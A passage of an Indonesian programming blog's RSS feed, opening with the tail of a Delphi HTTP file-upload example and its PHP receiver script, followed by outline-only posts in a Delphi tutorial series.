&nbsp; <span class="br0">&#91;</span><span class="st0">&#8216;c:<span class="es0">\e</span>xport.zip&#8217;</span><span class="br0">&#93;</span> <span class="br0">&#41;</span>; <br />
<span class="kw1">end</span>; <br />
&nbsp;</div>
</div>
<p>Prosedur diatas akan meng-upload file c:\export.zip ke server dengan URL <a href="http://127.0.0.1/receiver.php">http://127.0.0.1/receiver.php</a> (sebuah script PHP untuk menangani file yang berhasil diupload). Nama field HTML input file upload nya adalah uploaded. </p>
<p>Pada sisi server, script PHP receiver.php yang dipanggil untuk memproses file upload contohnya sbb: </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:d259e6e0-95b4-430e-a128-d754af4dfaf1" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">&lt;?</span> <br />
<span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/move_uploaded_file"><span class="kw3">move_uploaded_file</span></a><span class="br0">&#40;</span><span class="re0">$_FILES</span><span class="br0">&#91;</span><span class="st0">&#8216;uploaded&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;tmp_name&#8217;</span><span class="br0">&#93;</span>, <span class="re0">$zipfile</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <br />
<span class="br0">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;File $zipfile berhasil diupload&quot;</span>; <br />
<span class="br0">&#125;</span> <br />
<span class="kw1">else</span> <span class="br0">&#123;</span> <br />
&nbsp; &nbsp; &nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;Sorry, there was a problem uploading your file.&quot;</span>; &nbsp; &nbsp;<br />
<span class="br0">&#125;</span> <br />
<span class="kw2">?&gt;</span> <br />
&nbsp;</div>
</div>
<p>Sumber Delphi.about.com. </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:8134e0f6-3fb9-4421-9699-27bc915d3432" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/Delphi" rel="tag">Delphi</a>,<a href="http://technorati.com/tags/upload" rel="tag">upload</a>,<a href="http://technorati.com/tags/http" rel="tag">http</a></div>
<p>Akhmad Daniel Sembiring </p>
<p><a href="http://www.vitraining.com/">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a> </p>
<p><a href="http://ligarwangi.com/">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/feeb52c8-dffe-4f92-955d-2d51430ca02b/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=feeb52c8-dffe-4f92-955d-2d51430ca02b" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-dll/" rel="bookmark">21. Advanced Delphi: DLL</a></li><li><a href="http://www.dijexi.com/2009/06/how-to-change-upload-file-size-on-a-windows-localhost/" rel="bookmark">How to change upload file size on a Windows localhost</a></li><li><a href="http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/" rel="bookmark">Mengakses Active Directory dari Delphi</a></li><li><a href="http://www.dijexi.com/2009/07/delphi-function-to-return-any-object-type-value/" rel="bookmark">Delphi function to return any object type value</a></li></ul></div><!--INFOLINKS_OFF--><p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-7773800616131770";
/* horizontal */
google_ad_slot = "1931057994";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fhttp-upload-file-dari-delphi%2F&amp;linkname=HTTP%20Upload%20File%20dari%20Delphi"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/http-upload-file-dari-delphi/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>23. Advanced Delphi: Membuka form saat diperlukan</title>
		<link>http://www.dijexi.com/2009/06/advanced-delphi-membuka-form-saat-diperlukan/</link>
		<comments>http://www.dijexi.com/2009/06/advanced-delphi-membuka-form-saat-diperlukan/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 04:34:40 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=83</guid>
		<description><![CDATA[3. Membuka form saat diperlukan Related Posts:21. Advanced Delphi: DLL22. Advanced Delphi: Exception Handling01. Mengenal Delphi03. Konversi SuhuSeri Tutorial Delphi Programming]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>3. Membuka form saat diperlukan</p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-dll/" rel="bookmark">21. Advanced Delphi: DLL</a></li><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-exception-handling/" rel="bookmark">22. Advanced Delphi: Exception Handling</a></li><li><a href="http://www.dijexi.com/2009/06/mengenal-delphi/" rel="bookmark">01. Mengenal Delphi</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-aplikasi-konversi-suhu/" rel="bookmark">03. Konversi Suhu</a></li><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fadvanced-delphi-membuka-form-saat-diperlukan%2F&amp;linkname=23.%20Advanced%20Delphi%3A%20Membuka%20form%20saat%20diperlukan"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/advanced-delphi-membuka-form-saat-diperlukan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>22. Advanced Delphi: Exception Handling</title>
		<link>http://www.dijexi.com/2009/06/advanced-delphi-exception-handling/</link>
		<comments>http://www.dijexi.com/2009/06/advanced-delphi-exception-handling/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 04:33:40 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=82</guid>
		<description><![CDATA[2. Exception Handling 1. exception 2. try excep untuk menghindari kesalahan 3. nested exception 4. try finally 5. pada bagian initialization dan finalization Related Posts:21. Advanced Delphi: DLLSeri Tutorial Delphi Programming23. Advanced Delphi: Membuka form saat diperlukanHTTP Upload File dari Delphi18. Advanced Printing]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>2. Exception Handling </p>
<p>1. exception </p>
<p>2. try excep untuk menghindari kesalahan </p>
<p>3. nested exception </p>
<p>4. try finally </p>
<p>5. pada bagian initialization dan finalization </p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-dll/" rel="bookmark">21. Advanced Delphi: DLL</a></li><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-membuka-form-saat-diperlukan/" rel="bookmark">23. Advanced Delphi: Membuka form saat diperlukan</a></li><li><a href="http://www.dijexi.com/2009/07/http-upload-file-dari-delphi/" rel="bookmark">HTTP Upload File dari Delphi</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-advanced-printing/" rel="bookmark">18. Advanced Printing</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fadvanced-delphi-exception-handling%2F&amp;linkname=22.%20Advanced%20Delphi%3A%20Exception%20Handling"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/advanced-delphi-exception-handling/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>21. Advanced Delphi: DLL</title>
		<link>http://www.dijexi.com/2009/06/advanced-delphi-dll/</link>
		<comments>http://www.dijexi.com/2009/06/advanced-delphi-dll/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 04:32:54 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[dll]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=81</guid>
		<description><![CDATA[&#160; 1. DLL 1. Mengenal DLL 2. Membuat, memakai, memanggil DLL 3. Form dan DLL 4. Memanggil DLL dari bahasa lain, contoh Visual Basic Related Posts:22. Advanced Delphi: Exception Handling23. Advanced Delphi: Membuka form saat diperlukanSeri Tutorial Delphi Programming18. Advanced PrintingDelphi function to return any object type value]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h3>&#160;</h3>
<p>1. DLL </p>
<p>1. Mengenal DLL </p>
<p>2. Membuat, memakai, memanggil DLL </p>
<p>3. Form dan DLL </p>
<p>4. Memanggil DLL dari bahasa lain, contoh Visual Basic </p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-exception-handling/" rel="bookmark">22. Advanced Delphi: Exception Handling</a></li><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-membuka-form-saat-diperlukan/" rel="bookmark">23. Advanced Delphi: Membuka form saat diperlukan</a></li><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-advanced-printing/" rel="bookmark">18. Advanced Printing</a></li><li><a href="http://www.dijexi.com/2009/07/delphi-function-to-return-any-object-type-value/" rel="bookmark">Delphi function to return any object type value</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fadvanced-delphi-dll%2F&amp;linkname=21.%20Advanced%20Delphi%3A%20DLL"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/advanced-delphi-dll/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>20. Membuat dan Menambah Komponen</title>
		<link>http://www.dijexi.com/2009/06/tutorial-membuat-dan-menambah-komponen-delphi/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-membuat-dan-menambah-komponen-delphi/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 04:31:58 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[component]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=80</guid>
		<description><![CDATA[&#160; Topik &#160; 1. OOP Lagi 2. Packages 3. Membuat Komponen baru dari komponen yang sudah ada 4. Memakai Komponen Baru 5. Instalasi Komponen dari Internet 6. Import komponen Active X &#160; Related Posts:Seri Tutorial Delphi Programming15. Aplikasi Point of Sales13. Aplikasi Database Ikan12. Konsep Database dan Komponen Database14. Program Penjualan Sederhana]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h3>&#160;</h3>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td valign="top" width="288">
<p>Topik</p>
</td>
<td valign="top" width="288">&#160;</td>
</tr>
<tr>
<td valign="top" width="288">
<p>1. OOP Lagi</p>
<p>2. Packages</p>
<p>3. Membuat Komponen baru dari komponen yang sudah ada</p>
<p>4. Memakai Komponen Baru</p>
<p>5. Instalasi Komponen dari Internet</p>
<p>6. Import komponen Active X </p>
</td>
<td valign="top" width="288">&#160;</td>
</tr>
</tbody>
</table>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-point-of-sales/" rel="bookmark">15. Aplikasi Point of Sales</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-database-ikan/" rel="bookmark">13. Aplikasi Database Ikan</a></li><li><a href="http://www.dijexi.com/2009/06/konsep-database-dan-komponen-database/" rel="bookmark">12. Konsep Database dan Komponen Database</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-program-penjualan-sederhana/" rel="bookmark">14. Program Penjualan Sederhana</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-membuat-dan-menambah-komponen-delphi%2F&amp;linkname=20.%20Membuat%20dan%20Menambah%20Komponen"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-membuat-dan-menambah-komponen-delphi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>19. Membuat Help, Version Info, dan Splash Screen</title>
		<link>http://www.dijexi.com/2009/06/tutorial-membuat-help-version-info-dan-splash-screen/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-membuat-help-version-info-dan-splash-screen/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 04:31:28 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=79</guid>
		<description><![CDATA[&#160; Topik &#160; 1. Menuliskan isi help 2. Men-compile help 3. Membuat context help 4. Splash screen 5. Version info &#160; Related Posts:Seri Tutorial Delphi ProgrammingCreating GPS Tracker Application on J2ME PhonesIntroduction to PHP AGI (Asterisk Gateway Interface)PHP Library to Connect to LDAP ServerBASH Redirection]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h3>&#160;</h3>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td valign="top" width="288">
<p>Topik</p>
</td>
<td valign="top" width="288">&#160;</td>
</tr>
<tr>
<td valign="top" width="288">
<p>1. Menuliskan isi help</p>
<p>2. Men-compile help</p>
<p>3. Membuat context help</p>
<p>4. Splash screen</p>
<p>5. Version info</p>
</td>
<td valign="top" width="288">&#160;</td>
</tr>
</tbody>
</table>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2010/08/creating-gps-tracker-application-on-j2me-phones/" rel="bookmark">Creating GPS Tracker Application on J2ME Phones</a></li><li><a href="http://www.dijexi.com/2010/08/introduction-to-php-agi-asterisk-gateway-interface/" rel="bookmark">Introduction to PHP AGI (Asterisk Gateway Interface)</a></li><li><a href="http://www.dijexi.com/2009/07/php-library-to-connect-to-ldap-server/" rel="bookmark">PHP Library to Connect to LDAP Server</a></li><li><a href="http://www.dijexi.com/2010/01/bash-redirection/" rel="bookmark">BASH Redirection</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-membuat-help-version-info-dan-splash-screen%2F&amp;linkname=19.%20Membuat%20Help%2C%20Version%20Info%2C%20dan%20Splash%20Screen"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-membuat-help-version-info-dan-splash-screen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>18. Advanced Printing</title>
		<link>http://www.dijexi.com/2009/06/tutorial-advanced-printing/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-advanced-printing/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 04:30:57 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[printing]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=78</guid>
		<description><![CDATA[&#160; Topik &#160; 1. Tprinter, TprinterDialog, TprinterSetupDialog 2. Font dan ukurannya 3. Gambar dan Grafik 4. Mencetak langsung ke printer dot matrix, mencetak struk &#160; Related Posts:21. Advanced Delphi: DLL22. Advanced Delphi: Exception Handling23. Advanced Delphi: Membuka form saat diperlukanBest CD / DVD Writing Softwares, DVD Ripping, Virtual CD / DVDFree Online Video Format Conversion [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h3>&#160;</h3>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td valign="top" width="288">
<p>Topik</p>
</td>
<td valign="top" width="288">&#160;</td>
</tr>
<tr>
<td valign="top" width="288">
<p>1. Tprinter, TprinterDialog, TprinterSetupDialog</p>
<p>2. Font dan ukurannya</p>
<p>3. Gambar dan Grafik</p>
<p>4. Mencetak langsung ke printer dot matrix, mencetak struk</p>
</td>
<td valign="top" width="288">&#160;</td>
</tr>
</tbody>
</table>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-dll/" rel="bookmark">21. Advanced Delphi: DLL</a></li><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-exception-handling/" rel="bookmark">22. Advanced Delphi: Exception Handling</a></li><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-membuka-form-saat-diperlukan/" rel="bookmark">23. Advanced Delphi: Membuka form saat diperlukan</a></li><li><a href="http://www.dijexi.com/2009/07/best-cd-dvd-writing-softwares-dvd-ripping-virtual-cd-dvd/" rel="bookmark">Best CD / DVD Writing Softwares, DVD Ripping, Virtual CD / DVD</a></li><li><a href="http://www.dijexi.com/2009/08/free-online-video-format-conversion-sites/" rel="bookmark">Free Online Video Format Conversion Sites</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-advanced-printing%2F&amp;linkname=18.%20Advanced%20Printing"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-advanced-printing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>17. Grafik dan Multimedia</title>
		<link>http://www.dijexi.com/2009/06/tutorial-penggunaan-grafik-dan-multimedia/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-penggunaan-grafik-dan-multimedia/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 04:30:04 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[multimedia]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=77</guid>
		<description><![CDATA[&#160; Topik &#160; 1. Chart 2. Gambar 3. Animasi 4. Media Player: Video dan Suara &#160; Related Posts:Seri Tutorial Delphi Programming18. Advanced PrintingBest Free Utilities Software07. Aplikasi Media PlayerBest Video Softwares, Audio Softwares, 3D Softwares]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h3>&#160;</h3>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td valign="top" width="288">
<p>Topik</p>
</td>
<td valign="top" width="288">&#160;</td>
</tr>
<tr>
<td valign="top" width="288">
<p>1. Chart</p>
<p>2. Gambar</p>
<p>3. Animasi</p>
<p>4. Media Player: Video dan Suara</p>
</td>
<td valign="top" width="288">&#160;</td>
</tr>
</tbody>
</table>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-advanced-printing/" rel="bookmark">18. Advanced Printing</a></li><li><a href="http://www.dijexi.com/2009/07/best-free-utilities-software/" rel="bookmark">Best Free Utilities Software</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-cara-membuat-aplikasi-media-player/" rel="bookmark">07. Aplikasi Media Player</a></li><li><a href="http://www.dijexi.com/2009/07/best-video-softwares-audio-softwares-3d-softwares/" rel="bookmark">Best Video Softwares, Audio Softwares, 3D Softwares</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-penggunaan-grafik-dan-multimedia%2F&amp;linkname=17.%20Grafik%20dan%20Multimedia"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-penggunaan-grafik-dan-multimedia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>16. Laporan Tingkat Lanjut</title>
		<link>http://www.dijexi.com/2009/06/tutorial-membuat-laporan-tingkat-lanjut/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-membuat-laporan-tingkat-lanjut/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 04:29:28 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[report]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=76</guid>
		<description><![CDATA[&#160; Topik &#160; 1. Komponen Rave Report 2. Laporan Sederhana 3. Grouping 4. Master Detail 5. Invoicing 6. Mailing Merge 7. Export ke PDF, HTML, Excel &#160; Related Posts:Seri Tutorial Delphi Programming14. Program Penjualan SederhanaHTTP Upload File dari DelphiMengakses Active Directory dari DelphiSetting Self-signed SSL Certificate pada IIS]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h3>&#160;</h3>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td valign="top" width="288">
<p>Topik</p>
</td>
<td valign="top" width="288">&#160;</td>
</tr>
<tr>
<td valign="top" width="288">
<p>1. Komponen Rave Report</p>
<p>2. Laporan Sederhana</p>
<p>3. Grouping</p>
<p>4. Master Detail</p>
<p>5. Invoicing</p>
<p>6. Mailing Merge</p>
<p>7. Export ke PDF, HTML, Excel</p>
</td>
<td valign="top" width="288">&#160;</td>
</tr>
</tbody>
</table>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-program-penjualan-sederhana/" rel="bookmark">14. Program Penjualan Sederhana</a></li><li><a href="http://www.dijexi.com/2009/07/http-upload-file-dari-delphi/" rel="bookmark">HTTP Upload File dari Delphi</a></li><li><a href="http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/" rel="bookmark">Mengakses Active Directory dari Delphi</a></li><li><a href="http://www.dijexi.com/2009/05/setup-vitraining-oms-gateway/" rel="bookmark">Setting Self-signed SSL Certificate pada IIS</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-membuat-laporan-tingkat-lanjut%2F&amp;linkname=16.%20Laporan%20Tingkat%20Lanjut"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-membuat-laporan-tingkat-lanjut/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>15. Aplikasi Point of Sales</title>
		<link>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-point-of-sales/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-point-of-sales/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 04:07:34 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=75</guid>
		<description><![CDATA[1. Desain User Interface dan Logika Program Aplikasi Penjualan 2. Membuat Database, Tabel, Index, Mengisi data contoh 3. Komponen-komponen yang digunakan untuk akses database 4. Komponen Tabel 1. Cara menggunakan 2. Fields, Calculated Fields, Lookup 3. Searching, Filtering, Range 4. Tabel Relations 5. Bookmark 2. Komponen SQL 1. Sekilas SQL 2. Cara menggunakan 3. Sorting [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>1. Desain User Interface dan Logika Program Aplikasi Penjualan </p>
<p>2. Membuat Database, Tabel, Index, Mengisi data contoh </p>
<p>3. Komponen-komponen yang digunakan untuk akses database </p>
<p>4. Komponen Tabel </p>
<p>1. Cara menggunakan </p>
<p>2. Fields, Calculated Fields, Lookup </p>
<p>3. Searching, Filtering, Range </p>
<p>4. Tabel Relations </p>
<p>5. Bookmark </p>
<p>2. Komponen SQL </p>
<p>1. Sekilas SQL </p>
<p>2. Cara menggunakan </p>
<p>3. Sorting data </p>
<p>4. Fungsi Agregat </p>
<p>3. Data Module </p>
<p>4. Parameter SQL</p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/" rel="bookmark">MySQL Transpose Row Into Column</a></li><li><a href="http://www.dijexi.com/2010/01/driving-traffic-into-a-brand-new-website-within-24-hours/" rel="bookmark">Driving Traffic Into A Brand New Website Within 24 hours</a></li><li><a href="http://www.dijexi.com/2009/09/how-to-choose-the-best-affiliate-programs-for-maximum-success/" rel="bookmark">How to Choose the Best Affiliate Programs For Maximum Success</a></li><li><a href="http://www.dijexi.com/2009/11/how-to-generate-free-website-traffic-fast/" rel="bookmark">How To Generate Free Website Traffic FAST</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-membuat-aplikasi-point-of-sales%2F&amp;linkname=15.%20Aplikasi%20Point%20of%20Sales"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-point-of-sales/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>14. Program Penjualan Sederhana</title>
		<link>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-program-penjualan-sederhana/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-program-penjualan-sederhana/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 04:00:48 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[point of sales]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=73</guid>
		<description><![CDATA[UNDER CONSTRUCTION , THANK YOU FOR YOUR PATIENCE Tujuan 1. Membuat database tabel dan alias 2. Membuat dan menggunakan index, menggunakan sorting Table Fields, Calculated Fields, Lookup Table Searching, Filtering, Range Tabel Relations Bookmark Komponen dan bahasa SQL dinamik Fungsi agregat Report master detail Video Tutorial [video] Membuat Database No Action 1 Buka Database Desktop [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h4>UNDER CONSTRUCTION , THANK YOU FOR YOUR PATIENCE</h4>
<h5>Tujuan</h5>
<p>1. Membuat database tabel dan alias</p>
<p>2. Membuat dan menggunakan index, menggunakan sorting</p>
<ol>
<li>Table Fields, Calculated Fields, Lookup</li>
<li>Table Searching, Filtering, Range</li>
<li>Tabel Relations</li>
